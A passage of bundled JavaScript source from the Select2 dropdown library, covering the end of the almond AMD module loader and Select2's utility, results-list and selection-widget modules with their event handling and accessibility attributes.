                    // releases, may be better to just kick out an error.
                    if (i === 0 || (i === 1 && name[2] === '..') || name[i - 1] === '..') {
                        continue;
                    } else if (i > 0) {
                        name.splice(i - 1, 2);
                        i -= 2;
                    }
                }
            }
            //end trimDots

            name = name.join('/');
        }

        //Apply map config if available.
        if ((baseParts || starMap) && map) {
            nameParts = name.split('/');

            for (i = nameParts.length; i > 0; i -= 1) {
                nameSegment = nameParts.slice(0, i).join("/");

                if (baseParts) {
                    //Find the longest baseName segment match in the config.
                    //So, do joins on the biggest to smallest lengths of baseParts.
                    for (j = baseParts.length; j > 0; j -= 1) {
                        mapValue = map[baseParts.slice(0, j).join('/')];

                        //baseName segment has  config, find if it has one for
                        //this name.
                        if (mapValue) {
                            mapValue = mapValue[nameSegment];
                            if (mapValue) {
                                //Match, update name to the new value.
                                foundMap = mapValue;
                                foundI = i;
                                break;
                            }
                        }
                    }
                }

                if (foundMap) {
                    break;
                }

                //Check for a star map match, but just hold on to it,
                //if there is a shorter segment match later in a matching
                //config, then favor over this star map.
                if (!foundStarMap && starMap && starMap[nameSegment]) {
                    foundStarMap = starMap[nameSegment];
                    starI = i;
                }
            }

            if (!foundMap && foundStarMap) {
                foundMap = foundStarMap;
                foundI = starI;
            }

            if (foundMap) {
                nameParts.splice(0, foundI, foundMap);
                name = nameParts.join('/');
            }
        }

        return name;
    }

    function makeRequire(relName, forceSync) {
        return function () {
            //A version of a require function that passes a moduleName
            //value for items that may need to
            //look up paths relative to the moduleName
            var args = aps.call(arguments, 0);

            //If first arg is not require('string'), and there is only
            //one arg, it is the array form without a callback. Insert
            //a null so that the following concat is correct.
            if (typeof args[0] !== 'string' && args.length === 1) {
                args.push(null);
            }
            return req.apply(undef, args.concat([relName, forceSync]));
        };
    }

    function makeNormalize(relName) {
        return function (name) {
            return normalize(name, relName);
        };
    }

    function makeLoad(depName) {
        return function (value) {
            defined[depName] = value;
        };
    }

    function callDep(name) {
        if (hasProp(waiting, name)) {
            var args = waiting[name];
            delete waiting[name];
            defining[name] = true;
            main.apply(undef, args);
        }

        if (!hasProp(defined, name) && !hasProp(defining, name)) {
            throw new Error('No ' + name);
        }
        return defined[name];
    }

    //Turns a plugin!resource to [plugin, resource]
    //with the plugin being undefined if the name
    //did not have a plugin prefix.
    function splitPrefix(name) {
        var prefix,
            index = name ? name.indexOf('!') : -1;
        if (index > -1) {
            prefix = name.substring(0, index);
            name = name.substring(index + 1, name.length);
        }
        return [prefix, name];
    }

    //Creates a parts array for a relName where first part is plugin ID,
    //second part is resource ID. Assumes relName has already been normalized.
    function makeRelParts(relName) {
        return relName ? splitPrefix(relName) : [];
    }

    /**
     * Makes a name map, normalizing the name, and using a plugin
     * for normalization if necessary. Grabs a ref to plugin
     * too, as an optimization.
     */
    makeMap = function (name, relParts) {
        var plugin,
            parts = splitPrefix(name),
            prefix = parts[0],
            relResourceName = relParts[1];

        name = parts[1];

        if (prefix) {
            prefix = normalize(prefix, relResourceName);
            plugin = callDep(prefix);
        }

        //Normalize according
        if (prefix) {
            if (plugin && plugin.normalize) {
                name = plugin.normalize(name, makeNormalize(relResourceName));
            } else {
                name = normalize(name, relResourceName);
            }
        } else {
            name = normalize(name, relResourceName);
            parts = splitPrefix(name);
            prefix = parts[0];
            name = parts[1];
            if (prefix) {
                plugin = callDep(prefix);
            }
        }

        //Using ridiculous property names for space reasons
        return {
            f: prefix ? prefix + '!' + name : name, //fullName
            n: name,
            pr: prefix,
            p: plugin
        };
    };

    function makeConfig(name) {
        return function () {
            return (config && config.config && config.config[name]) || {};
        };
    }

    handlers = {
        require: function (name) {
            return makeRequire(name);
        },
        exports: function (name) {
            var e = defined[name];
            if (typeof e !== 'undefined') {
                return e;
            } else {
                return (defined[name] = {});
            }
        },
        module: function (name) {
            return {
                id: name,
                uri: '',
                exports: defined[name],
                config: makeConfig(name)
            };
        }
    };

    main = function (name, deps, callback, relName) {
        var cjsModule, depName, ret, map, i, relParts,
            args = [],
            callbackType = typeof callback,
            usingExports;

        //Use name if no relName
        relName = relName || name;
        relParts = makeRelParts(relName);

        //Call the callback to define the module, if necessary.
        if (callbackType === 'undefined' || callbackType === 'function') {
            //Pull out the defined dependencies and pass the ordered
            //values to the callback.
            //Default to [require, exports, module] if no deps
            deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps;
            for (i = 0; i < deps.length; i += 1) {
                map = makeMap(deps[i], relParts);
                depName = map.f;

                //Fast path CommonJS standard dependencies.
                if (depName === "require") {
                    args[i] = handlers.require(name);
                } else if (depName === "exports") {
                    //CommonJS module spec 1.1
                    args[i] = handlers.exports(name);
                    usingExports = true;
                } else if (depName === "module") {
                    //CommonJS module spec 1.1
                    cjsModule = args[i] = handlers.module(name);
                } else if (hasProp(defined, depName) ||
                           hasProp(waiting, depName) ||
                           hasProp(defining, depName)) {
                    args[i] = callDep(depName);
                } else if (map.p) {
                    map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {});
                    args[i] = defined[depName];
                } else {
                    throw new Error(name + ' missing ' + depName);
                }
            }

            ret = callback ? callback.apply(defined[name], args) : undefined;

            if (name) {
                //If setting exports via "module" is in play,
                //favor that over return value and exports. After that,
                //favor a non-undefined return value over exports use.
                if (cjsModule && cjsModule.exports !== undef &&
                        cjsModule.exports !== defined[name]) {
                    defined[name] = cjsModule.exports;
                } else if (ret !== undef || !usingExports) {
                    //Use the return value from the function.
                    defined[name] = ret;
                }
            }
        } else if (name) {
            //May just be an object definition for the module. Only
            //worry about defining if have a module name.
            defined[name] = callback;
        }
    };

    requirejs = require = req = function (deps, callback, relName, forceSync, alt) {
        if (typeof deps === "string") {
            if (handlers[deps]) {
                //callback in this case is really relName
                return handlers[deps](callback);
            }
            //Just return the module wanted. In this scenario, the
            //deps arg is the module name, and second arg (if passed)
            //is just the relName.
            //Normalize module name, if it contains . or ..
            return callDep(makeMap(deps, makeRelParts(callback)).f);
        } else if (!deps.splice) {
            //deps is a config object, not an array.
            config = deps;
            if (config.deps) {
                req(config.deps, config.callback);
            }
            if (!callback) {
                return;
            }

            if (callback.splice) {
                //callback is an array, which means it is a dependency list.
                //Adjust args if there are dependencies
                deps = callback;
                callback = relName;
                relName = null;
            } else {
                deps = undef;
            }
        }

        //Support require(['a'])
        callback = callback || function () {};

        //If relName is a function, it is an errback handler,
        //so remove it.
        if (typeof relName === 'function') {
            relName = forceSync;
            forceSync = alt;
        }

        //Simulate async callback;
        if (forceSync) {
            main(undef, deps, callback, relName);
        } else {
            //Using a non-zero value because of concern for what old browsers
            //do, and latest browsers "upgrade" to 4 if lower value is used:
            //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout:
            //If want a value immediately, use require('id') instead -- something
            //that works in almond on the global level, but not guaranteed and
            //unlikely to work in other AMD implementations.
            setTimeout(function () {
                main(undef, deps, callback, relName);
            }, 4);
        }

        return req;
    };

    /**
     * Just drops the config on the floor, but returns req in case
     * the config return value is used.
     */
    req.config = function (cfg) {
        return req(cfg);
    };

    /**
     * Expose module registry for debugging and tooling
     */
    requirejs._defined = defined;

    define = function (name, deps, callback) {
        if (typeof name !== 'string') {
            throw new Error('See almond README: incorrect module build, no module name');
        }

        //This module may not have dependencies
        if (!deps.splice) {
            //deps is not an array, so probably means
            //an object literal or factory function for
            //the value. Adjust args.
            callback = deps;
            deps = [];
        }

        if (!hasProp(defined, name) && !hasProp(waiting, name)) {
            waiting[name] = [name, deps, callback];
        }
    };

    define.amd = {
        jQuery: true
    };
}());

S2.requirejs = requirejs;S2.require = require;S2.define = define;
}
}());
S2.define("almond", function(){});

/* global jQuery:false, $:false */
S2.define('jquery',[],function () {
  var _$ = jQuery || $;

  if (_$ == null && console && console.error) {
    console.error(
      'Select2: An instance of jQuery or a jQuery-compatible library was not ' +
      'found. Make sure that you are including jQuery before Select2 on your ' +
      'web page.'
    );
  }

  return _$;
});

S2.define('select2/utils',[
  'jquery'
], function ($) {
  var Utils = {};

  Utils.Extend = function (ChildClass, SuperClass) {
    var __hasProp = {}.hasOwnProperty;

    function BaseConstructor () {
      this.constructor = ChildClass;
    }

    for (var key in SuperClass) {
      if (__hasProp.call(SuperClass, key)) {
        ChildClass[key] = SuperClass[key];
      }
    }

    BaseConstructor.prototype = SuperClass.prototype;
    ChildClass.prototype = new BaseConstructor();
    ChildClass.__super__ = SuperClass.prototype;

    return ChildClass;
  };

  function getMethods (theClass) {
    var proto = theClass.prototype;

    var methods = [];

    for (var methodName in proto) {
      var m = proto[methodName];

      if (typeof m !== 'function') {
        continue;
      }

      if (methodName === 'constructor') {
        continue;
      }

      methods.push(methodName);
    }

    return methods;
  }

  Utils.Decorate = function (SuperClass, DecoratorClass) {
    var decoratedMethods = getMethods(DecoratorClass);
    var superMethods = getMethods(SuperClass);

    function DecoratedClass () {
      var unshift = Array.prototype.unshift;

      var argCount = DecoratorClass.prototype.constructor.length;

      var calledConstructor = SuperClass.prototype.constructor;

      if (argCount > 0) {
        unshift.call(arguments, SuperClass.prototype.constructor);

        calledConstructor = DecoratorClass.prototype.constructor;
      }

      calledConstructor.apply(this, arguments);
    }

    DecoratorClass.displayName = SuperClass.displayName;

    function ctr () {
      this.constructor = DecoratedClass;
    }

    DecoratedClass.prototype = new ctr();

    for (var m = 0; m < superMethods.length; m++) {
        var superMethod = superMethods[m];

        DecoratedClass.prototype[superMethod] =
          SuperClass.prototype[superMethod];
    }

    var calledMethod = function (methodName) {
      // Stub out the original method if it's not decorating an actual method
      var originalMethod = function () {};

      if (methodName in DecoratedClass.prototype) {
        originalMethod = DecoratedClass.prototype[methodName];
      }

      var decoratedMethod = DecoratorClass.prototype[methodName];

      return function () {
        var unshift = Array.prototype.unshift;

        unshift.call(arguments, originalMethod);

        return decoratedMethod.apply(this, arguments);
      };
    };

    for (var d = 0; d < decoratedMethods.length; d++) {
      var decoratedMethod = decoratedMethods[d];

      DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod);
    }

    return DecoratedClass;
  };

  var Observable = function () {
    this.listeners = {};
  };

  Observable.prototype.on = function (event, callback) {
    this.listeners = this.listeners || {};

    if (event in this.listeners) {
      this.listeners[event].push(callback);
    } else {
      this.listeners[event] = [callback];
    }
  };

  Observable.prototype.trigger = function (event) {
    var slice = Array.prototype.slice;
    var params = slice.call(arguments, 1);

    this.listeners = this.listeners || {};

    // Params should always come in as an array
    if (params == null) {
      params = [];
    }

    // If there are no arguments to the event, use a temporary object
    if (params.length === 0) {
      params.push({});
    }

    // Set the `_type` of the first object to the event
    params[0]._type = event;

    if (event in this.listeners) {
      this.invoke(this.listeners[event], slice.call(arguments, 1));
    }

    if ('*' in this.listeners) {
      this.invoke(this.listeners['*'], arguments);
    }
  };

  Observable.prototype.invoke = function (listeners, params) {
    for (var i = 0, len = listeners.length; i < len; i++) {
      listeners[i].apply(this, params);
    }
  };

  Utils.Observable = Observable;

  Utils.generateChars = function (length) {
    var chars = '';

    for (var i = 0; i < length; i++) {
      var randomChar = Math.floor(Math.random() * 36);
      chars += randomChar.toString(36);
    }

    return chars;
  };

  Utils.bind = function (func, context) {
    return function () {
      func.apply(context, arguments);
    };
  };

  Utils._convertData = function (data) {
    for (var originalKey in data) {
      var keys = originalKey.split('-');

      var dataLevel = data;

      if (keys.length === 1) {
        continue;
      }

      for (var k = 0; k < keys.length; k++) {
        var key = keys[k];

        // Lowercase the first letter
        // By default, dash-separated becomes camelCase
        key = key.substring(0, 1).toLowerCase() + key.substring(1);

        if (!(key in dataLevel)) {
          dataLevel[key] = {};
        }

        if (k == keys.length - 1) {
          dataLevel[key] = data[originalKey];
        }

        dataLevel = dataLevel[key];
      }

      delete data[originalKey];
    }

    return data;
  };

  Utils.hasScroll = function (index, el) {
    // Adapted from the function created by @ShadowScripter
    // and adapted by @BillBarry on the Stack Exchange Code Review website.
    // The original code can be found at
    // http://codereview.stackexchange.com/q/13338
    // and was designed to be used with the Sizzle selector engine.

    var $el = $(el);
    var overflowX = el.style.overflowX;
    var overflowY = el.style.overflowY;

    //Check both x and y declarations
    if (overflowX === overflowY &&
        (overflowY === 'hidden' || overflowY === 'visible')) {
      return false;
    }

    if (overflowX === 'scroll' || overflowY === 'scroll') {
      return true;
    }

    return ($el.innerHeight() < el.scrollHeight ||
      $el.innerWidth() < el.scrollWidth);
  };

  Utils.escapeMarkup = function (markup) {
    var replaceMap = {
      '\\': '&#92;',
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      '\'': '&#39;',
      '/': '&#47;'
    };

    // Do not try to escape the markup if it's not a string
    if (typeof markup !== 'string') {
      return markup;
    }

    return String(markup).replace(/[&<>"'\/\\]/g, function (match) {
      return replaceMap[match];
    });
  };

  // Append an array of jQuery nodes to a given element.
  Utils.appendMany = function ($element, $nodes) {
    // jQuery 1.7.x does not support $.fn.append() with an array
    // Fall back to a jQuery object collection using $.fn.add()
    if ($.fn.jquery.substr(0, 3) === '1.7') {
      var $jqNodes = $();

      $.map($nodes, function (node) {
        $jqNodes = $jqNodes.add(node);
      });

      $nodes = $jqNodes;
    }

    $element.append($nodes);
  };

  // Determine whether the browser is on a touchscreen device.
  Utils.isTouchscreen = function() {
    if ('undefined' === typeof Utils._isTouchscreenCache) {
      Utils._isTouchscreenCache = 'ontouchstart' in document.documentElement;
    }
    return Utils._isTouchscreenCache;
  }

  return Utils;
});

S2.define('select2/results',[
  'jquery',
  './utils'
], function ($, Utils) {
  function Results ($element, options, dataAdapter) {
    this.$element = $element;
    this.data = dataAdapter;
    this.options = options;

    Results.__super__.constructor.call(this);
  }

  Utils.Extend(Results, Utils.Observable);

  Results.prototype.render = function () {
    var $results = $(
      '<ul class="select2-results__options" role="listbox" tabindex="-1"></ul>'
    );

    if (this.options.get('multiple')) {
      $results.attr('aria-multiselectable', 'true');
    }

    this.$results = $results;

    return $results;
  };

  Results.prototype.clear = function () {
    this.$results.empty();
  };

  Results.prototype.displayMessage = function (params) {
    var escapeMarkup = this.options.get('escapeMarkup');

    this.clear();
    this.hideLoading();

    var $message = $(
      '<li role="alert" aria-live="assertive"' +
      ' class="select2-results__option"></li>'
    );

    var message = this.options.get('translations').get(params.message);

    $message.append(
      escapeMarkup(
        message(params.args)
      )
    );

    $message[0].className += ' select2-results__message';

    this.$results.append($message);
  };

  Results.prototype.hideMessages = function () {
    this.$results.find('.select2-results__message').remove();
  };

  Results.prototype.append = function (data) {
    this.hideLoading();

    var $options = [];

    if (data.results == null || data.results.length === 0) {
      if (this.$results.children().length === 0) {
        this.trigger('results:message', {
          message: 'noResults'
        });
      }

      return;
    }

    data.results = this.sort(data.results);

    for (var d = 0; d < data.results.length; d++) {
      var item = data.results[d];

      var $option = this.option(item);

      $options.push($option);
    }

    this.$results.append($options);
  };

  Results.prototype.position = function ($results, $dropdown) {
    var $resultsContainer = $dropdown.find('.select2-results');
    $resultsContainer.append($results);
  };

  Results.prototype.sort = function (data) {
    var sorter = this.options.get('sorter');

    return sorter(data);
  };

  Results.prototype.highlightFirstItem = function () {
    var $options = this.$results
      .find('.select2-results__option[data-selected]');

    var $selected = $options.filter('[data-selected=true]');

    // Check if there are any selected options
    if ($selected.length > 0) {
      // If there are selected options, highlight the first
      $selected.first().trigger('mouseenter');
    } else {
      // If there are no selected options, highlight the first option
      // in the dropdown
      $options.first().trigger('mouseenter');
    }

    this.ensureHighlightVisible();
  };

  Results.prototype.setClasses = function () {
    var self = this;

    this.data.current(function (selected) {
      var selectedIds = $.map(selected, function (s) {
        return s.id.toString();
      });

      var $options = self.$results
        .find('.select2-results__option[data-selected]');

      $options.each(function () {
        var $option = $(this);

        var item = $.data(this, 'data');

        // id needs to be converted to a string when comparing
        var id = '' + item.id;

        if ((item.element != null && item.element.selected) ||
            (item.element == null && $.inArray(id, selectedIds) > -1)) {
          $option.attr('data-selected', 'true');
        } else {
          $option.attr('data-selected', 'false');
        }
      });

    });
  };

  Results.prototype.showLoading = function (params) {
    this.hideLoading();

    var loadingMore = this.options.get('translations').get('searching');

    var loading = {
      disabled: true,
      loading: true,
      text: loadingMore(params)
    };
    var $loading = this.option(loading);
    $loading.className += ' loading-results';

    this.$results.prepend($loading);
  };

  Results.prototype.hideLoading = function () {
    this.$results.find('.loading-results').remove();
  };

  Results.prototype.option = function (data) {
    var option = document.createElement('li');
    option.className = 'select2-results__option';

    var attrs = {
      'role': 'option',
      'data-selected': 'false',
      'tabindex': -1
    };

    if (data.disabled) {
      delete attrs['data-selected'];
      attrs['aria-disabled'] = 'true';
    }

    if (data.id == null) {
      delete attrs['data-selected'];
    }

    if (data._resultId != null) {
      option.id = data._resultId;
    }

    if (data.title) {
      option.title = data.title;
    }

    if (data.children) {
      attrs['aria-label'] = data.text;
      delete attrs['data-selected'];
    }

    for (var attr in attrs) {
      var val = attrs[attr];

      option.setAttribute(attr, val);
    }

    if (data.children) {
      var $option = $(option);

      var label = document.createElement('strong');
      label.className = 'select2-results__group';

      var $label = $(label);
      this.template(data, label);
      $label.attr('role', 'presentation');

      var $children = [];

      for (var c = 0; c < data.children.length; c++) {
        var child = data.children[c];

        var $child = this.option(child);

        $children.push($child);
      }

      var $childrenContainer = $('<ul></ul>', {
        'class': 'select2-results__options select2-results__options--nested',
        'role': 'listbox'
      });
      $childrenContainer.append($children);
      $option.attr('role', 'list');

      $option.append(label);
      $option.append($childrenContainer);
    } else {
      this.template(data, option);
    }

    $.data(option, 'data', data);

    return option;
  };

  Results.prototype.bind = function (container, $container) {
    var self = this;

    var id = container.id + '-results';

    this.$results.attr('id', id);

    container.on('results:all', function (params) {
      self.clear();
      self.append(params.data);

      if (container.isOpen()) {
        self.setClasses();
        self.highlightFirstItem();
      }
    });

    container.on('results:append', function (params) {
      self.append(params.data);

      if (container.isOpen()) {
        self.setClasses();
      }
    });

    container.on('query', function (params) {
      self.hideMessages();
      self.showLoading(params);
    });

    container.on('select', function () {
      if (!container.isOpen()) {
        return;
      }

      self.setClasses();
      self.highlightFirstItem();
    });

    container.on('unselect', function () {
      if (!container.isOpen()) {
        return;
      }

      self.setClasses();
      self.highlightFirstItem();
    });

    container.on('open', function () {
      // When the dropdown is open, aria-expended="true"
      self.$results.attr('aria-expanded', 'true');
      self.$results.attr('aria-hidden', 'false');

      self.setClasses();
      self.ensureHighlightVisible();
    });

    container.on('close', function () {
      // When the dropdown is closed, aria-expended="false"
      self.$results.attr('aria-expanded', 'false');
      self.$results.attr('aria-hidden', 'true');
      self.$results.removeAttr('aria-activedescendant');
    });

    container.on('results:toggle', function () {
      var $highlighted = self.getHighlightedResults();

      if ($highlighted.length === 0) {
        return;
      }

      $highlighted.trigger('mouseup');
    });

    container.on('results:select', function () {
      var $highlighted = self.getHighlightedResults();

      if ($highlighted.length === 0) {
        return;
      }

      var data = $highlighted.data('data');

      if ($highlighted.attr('data-selected') == 'true') {
        self.trigger('close', {});
      } else {
        self.trigger('select', {
          data: data
        });
      }
    });

    container.on('results:previous', function () {
      var $highlighted = self.getHighlightedResults();

      var $options = self.$results.find('[data-selected]');

      var currentIndex = $options.index($highlighted);

      // If we are already at te top, don't move further
      if (currentIndex === 0) {
        return;
      }

      var nextIndex = currentIndex - 1;

      // If none are highlighted, highlight the first
      if ($highlighted.length === 0) {
        nextIndex = 0;
      }

      var $next = $options.eq(nextIndex);

      $next.trigger('mouseenter');

      var currentOffset = self.$results.offset().top;
      var nextTop = $next.offset().top;
      var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset);

      if (nextIndex === 0) {
        self.$results.scrollTop(0);
      } else if (nextTop - currentOffset < 0) {
        self.$results.scrollTop(nextOffset);
      }
    });

    container.on('results:next', function () {
      var $highlighted = self.getHighlightedResults();

      var $options = self.$results.find('[data-selected]');

      var currentIndex = $options.index($highlighted);

      var nextIndex = currentIndex + 1;

      // If we are at the last option, stay there
      if (nextIndex >= $options.length) {
        return;
      }

      var $next = $options.eq(nextIndex);

      $next.trigger('mouseenter');

      var currentOffset = self.$results.offset().top +
        self.$results.outerHeight(false);
      var nextBottom = $next.offset().top + $next.outerHeight(false);
      var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset;

      if (nextIndex === 0) {
        self.$results.scrollTop(0);
      } else if (nextBottom > currentOffset) {
        self.$results.scrollTop(nextOffset);
      }
    });

    container.on('results:focus', function (params) {
      params.element.addClass('select2-results__option--highlighted').attr('aria-selected', 'true');
      self.$results.attr('aria-activedescendant', params.element.attr('id'));
    });

    container.on('results:message', function (params) {
      self.displayMessage(params);
    });

    if ($.fn.mousewheel) {
      this.$results.on('mousewheel', function (e) {
        var top = self.$results.scrollTop();

        var bottom = self.$results.get(0).scrollHeight - top + e.deltaY;

        var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0;
        var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height();

        if (isAtTop) {
          self.$results.scrollTop(0);

          e.preventDefault();
          e.stopPropagation();
        } else if (isAtBottom) {
          self.$results.scrollTop(
            self.$results.get(0).scrollHeight - self.$results.height()
          );

          e.preventDefault();
          e.stopPropagation();
        }
      });
    }

    this.$results.on('mouseup', '.select2-results__option[data-selected]',
      function (evt) {
      var $this = $(this);

      var data = $this.data('data');

      if ($this.attr('data-selected') === 'true') {
        if (self.options.get('multiple')) {
          self.trigger('unselect', {
            originalEvent: evt,
            data: data
          });
        } else {
          self.trigger('close', {});
        }

        return;
      }

      self.trigger('select', {
        originalEvent: evt,
        data: data
      });
    });

    this.$results.on('mouseenter', '.select2-results__option[data-selected]',
      function (evt) {
      var data = $(this).data('data');

      self.getHighlightedResults()
          .removeClass('select2-results__option--highlighted')
          .attr('aria-selected', 'false');

      self.trigger('results:focus', {
        data: data,
        element: $(this)
      });
    });
  };

  Results.prototype.getHighlightedResults = function () {
    var $highlighted = this.$results
    .find('.select2-results__option--highlighted');

    return $highlighted;
  };

  Results.prototype.destroy = function () {
    this.$results.remove();
  };

  Results.prototype.ensureHighlightVisible = function () {
    var $highlighted = this.getHighlightedResults();

    if ($highlighted.length === 0) {
      return;
    }

    var $options = this.$results.find('[data-selected]');

    var currentIndex = $options.index($highlighted);

    var currentOffset = this.$results.offset().top;
    var nextTop = $highlighted.offset().top;
    var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset);

    var offsetDelta = nextTop - currentOffset;
    nextOffset -= $highlighted.outerHeight(false) * 2;

    if (currentIndex <= 2) {
      this.$results.scrollTop(0);
    } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) {
      this.$results.scrollTop(nextOffset);
    }
  };

  Results.prototype.template = function (result, container) {
    var template = this.options.get('templateResult');
    var escapeMarkup = this.options.get('escapeMarkup');

    var content = template(result, container);

    if (content == null) {
      container.style.display = 'none';
    } else if (typeof content === 'string') {
      container.innerHTML = escapeMarkup(content);
    } else {
      $(container).append(content);
    }
  };

  return Results;
});

S2.define('select2/keys',[

], function () {
  var KEYS = {
    BACKSPACE: 8,
    TAB: 9,
    ENTER: 13,
    SHIFT: 16,
    CTRL: 17,
    ALT: 18,
    ESC: 27,
    SPACE: 32,
    PAGE_UP: 33,
    PAGE_DOWN: 34,
    END: 35,
    HOME: 36,
    LEFT: 37,
    UP: 38,
    RIGHT: 39,
    DOWN: 40,
    DELETE: 46
  };

  return KEYS;
});

S2.define('select2/selection/base',[
  'jquery',
  '../utils',
  '../keys'
], function ($, Utils, KEYS) {
  function BaseSelection ($element, options) {
    this.$element = $element;
    this.options = options;

    BaseSelection.__super__.constructor.call(this);
  }

  Utils.Extend(BaseSelection, Utils.Observable);

  BaseSelection.prototype.render = function () {
    var $selection = $(
      '<span class="select2-selection" ' +
      ' aria-haspopup="true" aria-expanded="false">' +
      '</span>'
    );

    this._tabindex = 0;

    if (this.$element.data('old-tabindex') != null) {
      this._tabindex = this.$element.data('old-tabindex');
    } else if (this.$element.attr('tabindex') != null) {
      this._tabindex = this.$element.attr('tabindex');
    }

    $selection.attr('title', this.$element.attr('title'));
    $selection.attr('tabindex', this._tabindex);

    this.$selection = $selection;

    return $selection;
  };

  BaseSelection.prototype.bind = function (container, $container) {
    var self = this;

    var id = container.id + '-container';
    var resultsId = container.id + '-results';
    var searchHidden = this.options.get('minimumResultsForSearch') === Infinity;

    this.container = container;

    this.$selection.on('focus', function (evt) {
      self.trigger('focus', evt);
    });

    this.$selection.on('blur', function (evt) {
      self._handleBlur(evt);
    });

    this.$selection.on('keydown', function (evt) {
      self.trigger('keypress', evt);

      if (evt.which === KEYS.SPACE) {
        evt.preventDefault();
      }
    });

    container.on('results:focus', function (params) {
      self.$selection.attr('aria-activedescendant', params.data._resultId);
    });

    container.on('selection:update', function (params) {
      self.update(params.data);
    });

    container.on('open', function () {
      // When the dropdown is open, aria-expanded="true"
      self.$selection.attr('aria-expanded', 'true');
      self.$selection.attr('aria-owns', resultsId);

      self._attachCloseHandler(container);
    });

    container.on('close', function () {
      // When the dropdown is closed, aria-expanded="false"
      self.$selection.attr('aria-expanded', 'false');
      self.$selection.removeAttr('aria-activedescendant');
      self.$selection.removeAttr('aria-owns');

      // This needs to be delayed as the active element is the body when the
      // key is pressed.
      window.setTimeout(function () {
        self.$selection.focus();
      }, 1);

      self._detachCloseHandler(container);
    });

    container.on('enable', function () {
      self.$selection.attr('tabindex', self._tabindex);
    });

    container.on('disable', function () {
      self.$selection.attr('tabindex', '-1');
    });
  };

  BaseSelection.prototype._handleBlur = function (evt) {
    var self = this;

    // This needs to be delayed as the active element is the body when the tab
    // key is pressed, possibly along with others.
    window.setTimeout(function () {
      // Don't trigger `blur` if the focus is still in the selection
      if (
        (document.activeElement == self.$selection[0]) ||
        ($.contains(self.$selection[0], document.activeElement))
      ) {
        return;
      }

      self.trigger('blur', evt);
    }, 1);
  };

  BaseSelection.prototype._attachCloseHandler = function (container) {
    var self = this;

    $(document.body).on('mousedown.select2.' + container.id, function (e) {
      var $target = $(e.target);

      var $select = $target.closest('.select2');

      var $all = $('.select2.select2-container--open');

      $all.each(function () {
        var $this = $(this);

        if (this == $select[0]) {
          return;
        }

        var $element = $this.data('element');
        $element.select2('close');

        // Remove any focus when dropdown is closed by clicking outside the select area.
        // Timeout of 1 required for close to finish wrapping up.
        setTimeout(function(){
         $this.find('*:focus').blur();
         $target.focus();
        }, 1);
      });
    });
  };

  BaseSelection.prototype._detachCloseHandler = function (container) {
    $(document.body).off('mousedown.select2.' + container.id);
  };

  BaseSelection.prototype.position = function ($selection, $container) {
    var $selectionContainer = $container.find('.selection');
    $selectionContainer.append($selection);
  };

  BaseSelection.prototype.destroy = function () {
    this._detachCloseHandler(this.container);
  };

  BaseSelection.prototype.update = function (data) {
    throw new Error('The `update` method must be defined in child classes.');
  };

  return BaseSelection;
});

S2.define('select2/selection/single',[
  'jquery',
  './base',
  '../utils',
  '../keys'
], function ($, BaseSelection, Utils, KEYS) {
  function SingleSelection () {
    SingleSelection.__super__.constructor.apply(this, arguments);
  }

  Utils.Extend(SingleSelection, BaseSelection);

  SingleSelection.prototype.render = function () {
    var $selection = SingleSelection.__super__.render.call(this);

    $selection.addClass('select2-selection--single');

    $selection.html(
      '<span class="select2-selection__rendered"></span>' +
      '<span class="select2-selection__arrow" role="presentation">' +
        '<b role="presentation"></b>' +
      '</span>'
    );

    return $selection;
  };

  SingleSelection.prototype.bind = function (container, $container) {
    var self = this;

    SingleSelection.__super__.bind.apply(this, arguments);

    var id = container.id + '-container';

    this.$selection.find('.select2-selection__rendered')
      .attr('id', id)
      .attr('role', 'textbox')
      .attr('aria-readonly', 'true');
    this.$selection.attr('aria-labelledby', id);

    // This makes single non-search selects work in screen readers. If it causes problems elsewhere, remove.
    this.$selection.attr('role', 'combobox');

    this.$selection.on('mousedown', function (evt) {
      // Only respond to left clicks
      if (evt.which !== 1) {
        return;
      }

      self.trigger('toggle', {
        originalEvent: evt
      });
    });

    this.$selection.on('focus', function (evt) {
      // User focuses on the container
    });

    this.$selection.on('keydown', function (evt) {
      // If user starts typing an alphanumeric key on the keyboard, open if not opened.
      if (!container.isOpen() && evt.which >= 48 && evt.which <= 90) {
        container.open();
      }
    });

    this.$selection.on('blur', function (evt) {
      // User exits the container
    });

    container.on('focus', function (evt) {
      if (!container.isOpen()) {
        self.$selection.focus();
      }
    });

    container.on('selection:update', function (params) {
      self.update(params.data);
    });
  };

  SingleSelection.prototype.clear = function () {
    this.$selection.find('.select2-selection__rendered').empty();
  };

  SingleSelection.prototype.display = function (data, container) {
    var template = this.options.get('templateSelection');
    var escapeMarkup = this.options.get('escapeMarkup');

    return escapeMarkup(template(data, container));
  };

  SingleSelection.prototype.selectionContainer = function () {
    return $('<span></span>');
  };

  SingleSelection.prototype.update = function (data) {
    if (data.length === 0) {
      this.clear();
      return;
    }

    var selection = data[0];

    var $rendered = this.$selection.find('.select2-selection__rendered');
    var formatted = this.display(selection, $rendered);

    $rendered.empty().text(formatted);
    $rendered.prop('title', selection.title || selection.text);
  };

  return SingleSelection;
});

S2.define('select2/selection/multiple',[
  'jquery',
  './base',
  '../utils'
], function ($, BaseSelection, Utils) {
  function MultipleSelection ($element, options) {
    MultipleSelection.__super__.constructor.apply(this, arguments);
  }

  Utils.Extend(MultipleSelection, BaseSelection);

  MultipleSelection.prototype.render = function () {
    var $selection = MultipleSelection.__super__.render.call(this);

    $selection.addClass('select2-selection--multiple');

    $selection.html(
      '<ul class="select2-selection__rendered" aria-live="polite" aria-relevant="additions removals" aria-atomic="true"></ul>'
    );

    return $selection;
  };

  MultipleSelection.prototype.bind = function (container, $container) {
    var self = this;

    MultipleSelection.__super__.bind.apply(this, arguments);

    this.$selection.on('click', function (evt) {
      self.trigger('toggle', {
        originalEvent: evt
      });
    });

    this.$selection.on(
      'click',
      '.select2-selection__choice__remove',
      function (evt) {
        // Ignore the event if it is disabled
